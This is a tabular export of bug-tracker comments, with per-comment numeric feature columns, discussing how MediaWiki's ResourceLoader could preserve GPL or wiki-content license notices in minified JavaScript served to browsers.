bug.",,,1407584963,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,49,True,0.0,0.0,0.0,1.0,0.3333333333333333,4.666666666666667,1.6666666666666667,0.0,0.0,0.0,2.3333333333333335,1.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.0,4.333333333333333,12.0,0.0,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,3.3333333333333335,0.3333333333333333,0.0,2.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.3333333333333333,0.0,10.666666666666666,1.0,2.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,4.333333333333333,3.0,10.0,1.0,2.3333333333333335,7.666666666666667,0.0,0.0,0.0,0.0,6.333333333333333,0.0,1.3333333333333333,0.0,2.0,12.0,5.333333333333333,0.0,1.6666666666666667,0.0,2.0,0.0,0.6666666666666666,1.6666666666666667,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.6666666666666666,4.138381532217148,0.7603373921867073,"I'm going to raise this issue again after a talk by Luis Villa and others at Wikimania about problems with missing license information on MediaWiki code. I'm also changing the title to make the nature of this bug more clear and to I'm adding Luis to the CC list.

There are least two workable solutions described here since 2012:

1. Create strings with license information at the head of JavaScript files that are included in Mediawiki. This can be done immediately and will solve the issue.

2. Add bang comments as Erik described in late 2012 and which seems to be a standard used ""important"" comments used in other JavaScript programs. This will involve modifying the minimizer ot make sure that these important comments are preserved.

The benefit of 2 is that we can use that method to also add support for licensing for ""content"" Javascript under the wiki's license (e.g., MediaWiki:Common.j on Wikipedia). But really, either of these would be fine. A LibreJS solution would be great but we don't need to let LibreJS complications hold up an otherwise easy-to-fix bug."
177584,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Also, on wikitech-l, GNU LibreJS and ""Seemingly proprietary Javascript"" http://thread.gmane.org/gmane.science.linguistics.wikipedia.technical/67972
(Adding link not for drama but for keyword discoverability of this report.)",,,1363945378,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.09375,0.90625,"Also, on wikitech-l, GNU LibreJS and ""Seemingly proprietary Javascript"" URL
(Adding link not for drama but for keyword discoverability of this report.)"
177582,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"About local JS files, created by the users of a given WMF wiki, see also:
* https://commons.wikimedia.org/wiki/Commons:Village_pump/Archive/2012/08#Does_Commons_only_accept_code_which_can_be_used_for_evil.3F
* http://www.gossamer-threads.com/lists/wiki/wikitech/290192
* http://en.wikipedia.org/wiki/WP:Village_pump_(policy)/Archive_98#Proper_licensing_of_gadgets.2C_user_scripts_and_lua_modules",,,1362603735,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,22.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.740740740740741,0.7407407407407407,"About local JS files, created by the users of a given WMF wiki, see also:
* URL
* URL
* URL"
177581,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"It'd be good if we could find a reasonably pragmatic solution to clarify the licensing status of files, including after RL minification. Insert a bang comment based on the site license for files served from the wiki, and ensure we consistently add bang comments to files that are served from MediaWiki itself, and that those comments survive RL minification?",,,1356135597,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-36,True,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,3.0,15.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,3.0,8.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,15.0,6.0,2.0,0.0,0.0,6.0,0.0,2.0,3.0,2.0,2.0,0.0,0.0,0.0,4.615384615384615,0.7384615384615385,"It'd be good if we could find a reasonably pragmatic solution to clarify the licensing status of files, including after RL minification. Insert a bang comment based on the site license for files served from the wiki, and ensure we consistently add bang comments to files that are served from MediaWiki itself, and that those comments survive RL minification?"
177576,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Instead of a string, we can use a bang comment.

It appears other libraries are following this convention as well, for ""required"" comments.

> /*! jQuery v@1.8.0 jquery.com | jquery.org/license */

(In reply to comment #9)
> This can be done very concisely, as Tim suggests, with a string at the top of
> the file that says ""Copyright (c) WHOEVER 2012 - Distributed under the GNU
> General Public License Version 2 or any later version"" or something like that.

Since a full list of authors is going to be hard to keep track of (major authors are sometimes listed on top of the file). Whenever a file is part of MediaWiki core (e.g. not a third party file with its own license header) we can refer to mediawiki.org/wiki/License for more information on the current license and list of authors. (""COPYING"" and ""CREDITS""  in the repo are linked from there).

> /*! Distributed as part of MediaWiki | mediawiki.org/wiki/License */

As far as I know a link is enough, it doesn't have to contain the license title (let alone the full GPL license text) directly in the header. We do the same for image embedding.",,,1346188399,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,True,,,-53,True,0.0,0.0,0.0,1.0,1.0,6.5,1.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,2.0,0.0,7.0,12.5,0.0,2.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.5,5.5,0.5,1.5,2.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.5,9.0,1.0,1.0,7.5,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,4.0,12.5,1.5,0.0,3.5,0.0,4.0,0.0,0.5,3.0,0.0,1.5,0.5,0.0,0.0,3.6477272727272725,0.6988636363636364,"Instead of a string, we can use a bang comment.

It appears other libraries are following this convention as well, for ""required"" comments.

QUOTE

(In reply to comment #9)
QUOTE
QUOTE
QUOTE

Since a full list of authors is going to be hard to keep track of (major authors are sometimes listed on top of the file). Whenever a file is part of MediaWiki core (e.g. not a third party file with its own license header) we can refer to mediawiki.org/wiki/License for more information on the current license and list of authors. (""COPYING"" and ""CREDITS""  in the repo are linked from there).

QUOTE

As far as I know a link is enough, it doesn't have to contain the license title (let alone the full GPL license text) directly in the header. We do the same for image embedding."
177570,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Greetings Krinkle! I have a few responses.

I think it is important to convey the license of the Javascript to visitors of the site. The reason this does not apply to the PHP software is that the PHP is not actually distributed to visiters. Distribution is both a legally meaningful step in terms of copyright, very relevant in terms of the GPL, and also a substantively different thing than just letting someone use your software. When the PHP code is distributed (i.e., when someone downloads the code), we also convey the license.

This can be done very concisely, as Tim suggests, with a string at the top of the file that says ""Copyright (c) WHOEVER 2012 - Distributed under the GNU General Public License Version 2 or any later version"" or something like that. The benefit of the string-approach is that it won't be stripped out with the minifier like a comment would be.

We can follow the same approach for the stuff that is contributed to and served from wikis except, as other have pointed out, the license will have to be whatever the license of the wikis is since this is apparently the license that they were contributed to us under. We can start doing this part on wikis right away.

I just looked through the Javascript in the MW git repository and, basically except for JQuery and test stuff, none has any license information even in a comment header. About half of it does not even have a copyright statement and some like it might have been taken/borrowed from elsewhere but has no indication of the license.",,,1346184552,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,1.25,0.75,0.5,1.75,1.0,2.0,1.5,0.0,0.0,0.0,2.0,0.25,0.0,0.0,0.0,2.0,0.0,6.75,11.75,1.0,0.5,0.0,0.25,0.5,0.75,0.0,0.0,0.25,1.25,0.5,0.0,5.25,0.5,1.25,1.5,0.25,0.0,0.0,0.5,0.25,0.25,0.25,0.25,2.0,0.0,0.25,0.25,0.5,0.0,11.25,1.0,0.75,0.0,0.5,0.25,0.0,0.0,0.5,0.25,0.0,1.0,1.0,0.0,0.5,0.25,0.5,0.0,8.5,3.75,8.0,1.75,2.25,11.5,0.0,0.0,0.25,0.0,3.25,0.0,0.5,0.0,3.5,11.75,4.75,0.0,0.5,0.0,3.5,0.0,1.75,2.0,0.25,0.5,0.0,0.0,0.25,4.107612781954887,0.7330827067669172,"Greetings Krinkle! I have a few responses.

I think it is important to convey the license of the Javascript to visitors of the site. The reason this does not apply to the PHP software is that the PHP is not actually distributed to visiters. Distribution is both a legally meaningful step in terms of copyright, very relevant in terms of the GPL, and also a substantively different thing than just letting someone use your software. When the PHP code is distributed (i.e., when someone downloads the code), we also convey the license.

This can be done very concisely, as Tim suggests, with a string at the top of the file that says ""Copyright (c) WHOEVER 2012 - Distributed under the GNU General Public License Version 2 or any later version"" or something like that. The benefit of the string-approach is that it won't be stripped out with the minifier like a comment would be.

We can follow the same approach for the stuff that is contributed to and served from wikis except, as other have pointed out, the license will have to be whatever the license of the wikis is since this is apparently the license that they were contributed to us under. We can start doing this part on wikis right away.

I just looked through the Javascript in the MW git repository and, basically except for JQuery and test stuff, none has any license information even in a comment header. About half of it does not even have a copyright statement and some like it might have been taken/borrowed from elsewhere but has no indication of the license."
177562,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"My $0.02:

It seems like this could be reasonably implemented in ResourceLoader--add in a tag for modules like ""@license GPLv2"" or similar, and when RL detects such a tag, it inserts the proper licensing info into the javascript....then again, maybe we need to require this for each file, else the debug mode would get confusing.

As for compiled (minified) files, I think RL might be able to either A) intelligently group modules into like-licensed chunks (so we distribute the GPLv2 files in one go, then the MIT files, then the GPLv3 files, and so on) or B) Tag each chunk with the proper licensing and be done with it. Adding in a few bytes for newlines and a few hundred bytes per license doesn't seem unreasonable to me.

We may also want to offer a preference and/or config option to turn this on and off. I'm sure server admins might want the option to say no, and I'm sure users might want the same option.

That said, thanks much to Mako for bringing this up, and I hope we can do something about it soon!",,,1346173107,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,4.333333333333333,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,0.0,0.0,0.0,4.0,0.0,6.333333333333333,11.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,3.6666666666666665,0.6666666666666666,1.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,10.666666666666666,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,5.0,1.0,7.666666666666667,0.3333333333333333,4.0,8.0,0.0,0.0,0.3333333333333333,0.0,5.666666666666667,0.3333333333333333,1.0,0.0,5.333333333333333,11.0,3.0,0.0,0.6666666666666666,0.3333333333333333,5.333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,3.711111111111111,0.7422222222222222,"My $0.02:

It seems like this could be reasonably implemented in ResourceLoader--add in a tag for modules like ""@license GPLv2"" or similar, and when RL detects such a tag, it inserts the proper licensing info into the javascript....then again, maybe we need to require this for each file, else the debug mode would get confusing.

As for compiled (minified) files, I think RL might be able to either A) intelligently group modules into like-licensed chunks (so we distribute the GPLv2 files in one go, then the MIT files, then the GPLv3 files, and so on) or B) Tag each chunk with the proper licensing and be done with it. Adding in a few bytes for newlines and a few hundred bytes per license doesn't seem unreasonable to me.

We may also want to offer a preference and/or config option to turn this on and off. I'm sure server admins might want the option to say no, and I'm sure users might want the same option.

That said, thanks much to Mako for bringing this up, and I hope we can do something about it soon!"
177556,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"The license for wiki-contributed content (which is only served through that particular wiki) is not always CC-BY-SA/GFDL. It is whatever is configured.

For Wikimedia wikis this is mostly CC-BY-SA 3.0/GFDL. Though Wikinews has CC-BY 2.5.

And other wikis (since this is a MediaWiki software feature request) outside the Wikimedia Foundation may have even different licenses.

Just making sure we don't hardcode it.

The license string afaik only has to say what this file is licensed as. I don't see any point in making a list of possibilities (e.g. the 1), 2) thing, not sure if you meant that literally). Even more so, doing that isn't even practically possible because we also ship third-party files that have built-in license headers already.

So all we need to do is:
* Make sure our .js files in the MediaWiki repository have license headers (which we already do for PHP files).

Do we have to include those headers in the package responses to the browser as well? Seems a bit weird to me. Since those requests are not deliberate distributions of those applications (in that the user doesn't ""see"" the code). I mean, we don't send the PHP file headers to the browser either, that code is compiled and the user sees what it outputs. Same for images used in the interface as part of the software. They have license information in the repository when someone downloads the software to use it or modify it.

But when visiting a site that uses the software, users are not shown the licenses of PHP, database, image, audio, video files. So why would it be for javascript files?

Meaning, we can put them in source code (we should definitely do that), but it is okay to strip them as part of the general minification when serving it as a package.

If we do need to include them, we would:
* Figure out a way to simplify them (e.g. compare http://code.jquery.com/jquery.js to http://code.jquery.com/jquery.min.js)
* How to deal with separators? Because these javascript application requests are packages of sometimes 100s of different javascript files
* And at it, they don't just contain javascript files. Also css files and base64 embedded images. The CSS files would also need license headers, and then the base64 embedded images need headers somehow?

I'm not objecting it, if it is required it is required. But I don't think anyone else in the world has even considered doing something crazy like that. So if at all possible, I really think we can keep them out of the production browser service.",,,1346172434,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,True,,,-53,True,0.5,0.5,0.0,1.1666666666666667,2.0,3.6666666666666665,0.6666666666666666,0.3333333333333333,0.16666666666666666,0.6666666666666666,2.8333333333333335,1.3333333333333333,0.0,0.5,0.0,3.1666666666666665,0.0,9.0,10.166666666666666,0.5,1.3333333333333333,0.16666666666666666,0.3333333333333333,0.0,0.16666666666666666,0.0,0.0,0.16666666666666666,0.5,0.5,0.0,7.166666666666667,1.6666666666666667,2.0,0.3333333333333333,0.16666666666666666,0.16666666666666666,0.3333333333333333,0.5,0.8333333333333334,0.0,1.1666666666666667,0.0,1.0,0.0,0.16666666666666666,0.0,0.3333333333333333,0.16666666666666666,14.833333333333334,0.8333333333333334,1.3333333333333333,0.3333333333333333,0.8333333333333334,0.0,0.16666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.16666666666666666,1.1666666666666667,2.0,0.0,0.5,0.16666666666666666,0.5,0.3333333333333333,5.0,2.8333333333333335,9.166666666666666,2.6666666666666665,1.5,7.833333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.6666666666666666,0.0,6.5,10.166666666666666,2.8333333333333335,0.6666666666666666,0.3333333333333333,0.0,6.5,0.0,2.0,1.0,1.0,1.1666666666666667,0.16666666666666666,0.0,0.0,3.8297795369424583,0.7089504596527068,"The license for wiki-contributed content (which is only served through that particular wiki) is not always CC-BY-SA/GFDL. It is whatever is configured.

For Wikimedia wikis this is mostly CC-BY-SA 3.0/GFDL. Though Wikinews has CC-BY 2.5.

And other wikis (since this is a MediaWiki software feature request) outside the Wikimedia Foundation may have even different licenses.

Just making sure we don't hardcode it.

The license string afaik only has to say what this file is licensed as. I don't see any point in making a list of possibilities (e.g. the 1), 2) thing, not sure if you meant that literally). Even more so, doing that isn't even practically possible because we also ship third-party files that have built-in license headers already.

So all we need to do is:
* Make sure our .js files in the MediaWiki repository have license headers (which we already do for PHP files).

Do we have to include those headers in the package responses to the browser as well? Seems a bit weird to me. Since those requests are not deliberate distributions of those applications (in that the user doesn't ""see"" the code). I mean, we don't send the PHP file headers to the browser either, that code is compiled and the user sees what it outputs. Same for images used in the interface as part of the software. They have license information in the repository when someone downloads the software to use it or modify it.

But when visiting a site that uses the software, users are not shown the licenses of PHP, database, image, audio, video files. So why would it be for javascript files?

Meaning, we can put them in source code (we should definitely do that), but it is okay to strip them as part of the general minification when serving it as a package.

If we do need to include them, we would:
* Figure out a way to simplify them (e.g. compare URL to URL
* How to deal with separators? Because these javascript application requests are packages of sometimes 100s of different javascript files
* And at it, they don't just contain javascript files. Also css files and base64 embedded images. The CSS files would also need license headers, and then the base64 embedded images need headers somehow?

I'm not objecting it, if it is required it is required. But I don't think anyone else in the world has even considered doing something crazy like that. So if at all possible, I really think we can keep them out of the production browser service."
177552,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Thanks for the quick followup Tim!

If I'm following this right, you're suggesting we should create a string headers that make it clear that the JavaScript license is: (1) GPL (or whatever else) for the static files distributed with MediaWiki and (2) BY-SA/GFDL for the content contributed to MediaWiki is the correct way to go.",,,1346169156,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.0,1.0,1.0,12.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,8.0,3.0,15.0,3.0,3.0,11.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,3.0,3.8194444444444446,0.8055555555555556,"Thanks for the quick followup Tim!

If I'm following this right, you're suggesting we should create a string headers that make it clear that the JavaScript license is: (1) GPL (or whatever else) for the static files distributed with MediaWiki and (2) BY-SA/GFDL for the content contributed to MediaWiki is the correct way to go."
177548,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"The bug is filed against MediaWiki, but Mark's response was about Wikipedia. Mako's comment suggests that the concern is actually ""pieces of MediaWiki"" -- perhaps static files distributed with MediaWiki that are served in minified form via load.php?

MediaWiki:Common.js is not part of MediaWiki. Distributing it under the GPL would require the consent of its authors. It was contributed to Wikipedia under the usual click-through licensing.

Either way, the minifier will strip ordinary file headers. A string header could be added which wouldn't be stripped, that would be much simpler than implementing ""JavaScript License Web Labels"".",,,1346133748,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,1.0,0.0,0.0,3.5,1.5,3.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.5,3.0,8.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,3.5,0.0,2.5,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,13.5,1.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,13.0,0.5,0.5,6.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,8.5,8.0,0.5,2.5,0.0,2.0,0.0,2.0,1.0,0.0,1.5,1.0,0.0,0.5,4.579237288135594,0.8067796610169492,"The bug is filed against MediaWiki, but Mark's response was about Wikipedia. Mako's comment suggests that the concern is actually ""pieces of MediaWiki"" -- perhaps static files distributed with MediaWiki that are served in minified form via load.php?

MediaWiki:Common.js is not part of MediaWiki. Distributing it under the GPL would require the consent of its authors. It was contributed to Wikipedia under the usual click-through licensing.

Either way, the minifier will strip ordinary file headers. A string header could be added which wouldn't be stripped, that would be much simpler than implementing ""JavaScript License Web Labels""."
177544,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Greetings! And thanks to Kete for filing this bug and to Mark for replying and enagaging with it.

This bug is both real, a problem in terms of Wikimedia's stated commitment to free software, and should be very easy to fix. Every user of Wikipedia is being served software, which they are running on their computers, with no license information explaining to them that the software is free.

The arrangement with Common.js and others (see http://en.wikipedia.org/wiki/MediaWiki:Common.js and similar) seems like a bug. It was my understanding that all of the JavaScript should be distributed under the free software license that MediaWiki is. If you download MediaWiki as a tarball, this seems pretty clear. It -- or whatever the situation is -- should be clear to users who download small parts of MediaWiki that happen to be written in JavaScript as part of browsing Wikipedia.

I think the javascript-labels approach would be a simple method to deal with this and to make the situation clear. If that won't work, or if people want help from the licensing compliance expert at the FSF, I'm happy to make the introduction and to invite him to participate in this bug.

I'm looking forward to getting this resolved! Let me know how I can help.",,,1346131839,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,5.0,2.0,0.0,0.0,1.0,1.6666666666666667,1.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.6666666666666666,2.0,14.333333333333334,0.0,2.6666666666666665,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.333333333333333,1.3333333333333333,1.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,2.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,11.0,2.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,5.333333333333333,4.333333333333333,9.666666666666666,2.6666666666666665,3.6666666666666665,9.666666666666666,0.0,0.0,0.6666666666666666,0.0,6.0,0.0,0.0,0.0,5.333333333333333,14.333333333333334,3.6666666666666665,0.0,0.0,0.0,5.333333333333333,0.0,1.6666666666666667,1.3333333333333333,1.0,2.6666666666666665,0.0,0.0,0.0,4.120010288065843,0.7177469135802469,"Greetings! And thanks to Kete for filing this bug and to Mark for replying and enagaging with it.

This bug is both real, a problem in terms of Wikimedia's stated commitment to free software, and should be very easy to fix. Every user of Wikipedia is being served software, which they are running on their computers, with no license information explaining to them that the software is free.

The arrangement with Common.js and others (see URL and similar) seems like a bug. It was my understanding that all of the JavaScript should be distributed under the free software license that MediaWiki is. If you download MediaWiki as a tarball, this seems pretty clear. It -- or whatever the situation is -- should be clear to users who download small parts of MediaWiki that happen to be written in JavaScript as part of browsing Wikipedia.

I think the javascript-labels approach would be a simple method to deal with this and to make the situation clear. If that won't work, or if people want help from the licensing compliance expert at the FSF, I'm happy to make the introduction and to invite him to participate in this bug.

I'm looking forward to getting this resolved! Let me know how I can help."
177539,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,*** This bug has been confirmed by popular vote. ***,,,1346131375,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8666666666666667,0.6666666666666666,*** This bug has been confirmed by popular vote. ***
177535,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"(In reply to comment #0)
> Your wiki code could use a simple license declaration in the header as
> described at http://www.gnu.org/philosophy/javascript-trap.html#AppendixA

I think you mean the labeling described here: https://www.gnu.org/licenses/javascript-labels.html.  Since there are multiple licenses covering different JS files on any given page, I'm not sure what is needed.

But, just to be clear, this bug is requesting we follow this suggestion from javascript-labels.html:

   On each page that uses JavaScript, include a link that points to the labels
   page described above. Mark this link with the attribute rel=""jslicense"", so
   that automated tools can find it. For example, your final link might look
   like this:

    <a href=""/about/javascript"" rel=""jslicense"">JavaScript license
    information</a>

   This link can be small, but it should be clearly visible to people who
   visit your site.


In any case the JS code that is distributed with MediaWiki and served from there is GPL.  For example, the jQuery library (included with MediaWiki) is covered by the GPL -- http://jquery.org/license/.

I believe files like Common.js -- http://en.wikipedia.org/wiki/MediaWiki:Common.js -- are under the CC-BY-SA/GFDL like the rest of the content on wikipedia since that is the license text displayed when editing these files on-wiki.",,,1337391642,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-67,True,1.0,0.0,0.0,1.3333333333333333,0.3333333333333333,2.6666666666666665,2.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,2.3333333333333335,10.333333333333334,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,6.0,1.3333333333333333,0.6666666666666666,0.6666666666666666,1.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,1.0,0.0,14.333333333333334,1.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,1.0,0.0,4.666666666666667,4.333333333333333,11.0,1.6666666666666667,1.0,8.333333333333334,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.0,3.0,10.333333333333334,6.0,0.0,0.6666666666666666,0.0,3.0,0.0,2.3333333333333335,0.6666666666666666,0.0,1.0,0.0,0.0,0.6666666666666666,4.096662109820005,0.7726703121439963,"(In reply to comment #0)
QUOTE
QUOTE

I think you mean the labeling described here: URL  Since there are multiple licenses covering different JS files on any given page, I'm not sure what is needed.

But, just to be clear, this bug is requesting we follow this suggestion from javascript-labels.html:

   On each page that uses JavaScript, include a link that points to the labels
   page described above. Mark this link with the attribute rel=""jslicense"", so
   that automated tools can find it. For example, your final link might look
   like this:

    <a href=""/about/javascript"" rel=""jslicense"">JavaScript license
    information</a>

   This link can be small, but it should be clearly visible to people who
   visit your site.


In any case the JS code that is distributed with MediaWiki and served from there is GPL.  For example, the jQuery library (included with MediaWiki) is covered by the GPL -- URL

I believe files like Common.js -- URL -- are under the CC-BY-SA/GFDL like the rest of the content on wikipedia since that is the license text displayed when editing these files on-wiki."
